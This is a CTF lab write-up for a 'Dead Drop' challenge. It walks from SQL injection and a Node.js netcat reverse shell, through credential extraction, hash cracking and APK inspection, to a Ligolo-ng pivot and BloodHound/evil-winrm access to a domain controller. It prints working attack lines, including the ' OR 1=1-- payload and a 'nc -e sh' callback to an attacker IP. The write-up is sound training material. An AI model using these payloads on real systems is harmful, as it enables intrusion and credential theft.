Post

Dead Drop

Every dead drop points inward. Chain your findings, pivot through the gaps, and follow the trail until nothing is out of reach.

Dead Drop

image-1236

Scenario

DeadDrop Ltd’s file-sharing application is your starting point. Everything you need to reach the domain controller can be discovered through careful enumeration and exploitation. Each question below marks a milestone in the attack chain.

image-1238

Questions

image-1237


Reconnaissance

Use Rustscan to scan for open ports.

image-1239

image-1240

Ports 22 (SSH) and 80 (HTTP) are open.

Let’s access the website and start enumerating.

image-1241

Since it starts with only a login page, I use gobuster to find hidden directory.

image-1243


Initial Access

I didn’t find anything interesting. So, maybe let’s try another method like SQL injection

I try a simple SQL payload: ' OR 1=1-- for the username and put in a random password, and it worked.

image-1242

Once inside the dashboard, there was a file upload feature. Since the backend was Node.js/Express, I try uploading a .js reverse shell instead of a typical webshell:

require('child_process').exec('nc -e sh 192.168.21.21 4444')

and listening with:

nc -lvnp 4444

image-1244

and we’re in


Find Credentials

Now, let’s check the app files in /opt/app. We can see backup and db directories, so these look interesting.

image-1245

Inside db, I found deaddrop.db. Let’s check this database for stored credentials.

image-1246

We got the website database. Inside, it stores svc-backup and admin credentials.

1
2
3
4
5
svc-backup
BackupAgent2024

admin
SuperSecretAdm1n!

Second, I find another interesting backup file

image-1247

That’s a SHA-512 crypt hash ($6$) for the user svc-drop. Threw it at hashcat against rockyou.txt and it cracked cleanly, giving me valid credentials for svc-drop to use over SSH.

image-1248

and this is the first question’s answer.

image-1249


Inspect the APK

after accessing the svc-drop ssh user, I found deaddrop-mobile.apk

Download the file to machine:

scp svc-drop@192.168.11.200:/home/svc-drop/backup/deaddrop-mobile.apk /home/kali/Downloads/deaddrop-mobile.apk

and ran it through jadx-gui to read the Java source.

image-1250

Found j.harris’s credentials.

This is the answer to question 2.


Pivoting into the Internal Network with Ligolo-ng

The DC and other internal hosts weren’t directly reachable from my attacker box; only the initial Linux host was exposed. To reach the AD environment, I set up a Ligolo-ng tunnel: ran the proxy on my attacker machine, dropped an agent binary on the compromised Linux host, connected the agent back to the proxy, and brought up a tunnel interface with routes added for the internal subnet.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#Bring the newly created interface online  
sudo ip link set ligolo up  
ligolo-proxy -selfcert  
  
#The agent is to be loaded on the the TryHackMe VM via scp  
#The proxy runs on Kali  
#Start the proxy on Kali  
sudo ligolo-proxy -selfcert  
y to both defaults to 0.0.0.0:11601  
  
#Copy the agent to the Ubuntu VM via scp  
scp /usr/share/ligolo-ng-common-binaries/ligolo-ng_agent_0.8.3_linux_amd64 svc-drop@192.168.11.200:/tmp/agent  
password: dropsofjupiter  
  
#Launch the agent on Ubuntu and connect back to Kali  
ssh svc-drop@192.168.11.200  
cd /tmp  
chmod +x agent  
./agent -connect 192.168.21.6:11601 -ignore-cert  
  
#on Kali in the console tab running ligolo-proxy session  
join --id 1  
start

image-1251

The agent connected back, and the tunnel started. Next, I create the dead-drop interface and add routes for the internal hosts.

image-1254

I got an “already running” message when trying to start the tunnel again. After checking with tunnel_list, we can see the agent is online through ligolo.

image-1255

I told Kali to send traffic for 192.168.11.0/24 to ligolo’s tunnel and traffic for the webserver to tun0.

1
2
sudo ip route add 192.168.11.200/32 dev tun0  
sudo ip route add 192.168.11.0/24 dev ligolo

image-1267

Now, we can reach 192.168.11.100. The scan shows Kerberos, LDAP and SMB, and identifies the machine as DEADDROP-DC in deaddrop.loc. So, this is our DC.


Bloodhound

Since we already had valid credentials from the .apk file, let’s feed this info into bloodhound using that account.

sudo bloodhound-python -d deaddrop.loc -u j.harris -p 'DropsOfJupiter2026!' -ns 192.168.11.100 -c all

image-1271

In BloodHound, j.harris has AddMember permission over several groups. This means the account can modify their membership, so these groups are interesting for privilege escalation.

image-1268

The collection finished even though Kerberos failed because of a name resolution error. It fell back to NTLM and found the domain users, groups and computers.

Next, I use evil-winrm with the same j.harris credentials to connect to the DC. Let’s check who we are.

image-1269

We are in as deaddrop\j.harris.

In the final screenshot, we can see flag.txt in C:\Users\Administrator\Desktop. Read it with type flag.txt.

image-1270

Finally, we got the last flag.

DONE!!!


This post is licensed under CC BY 4.0 by the author.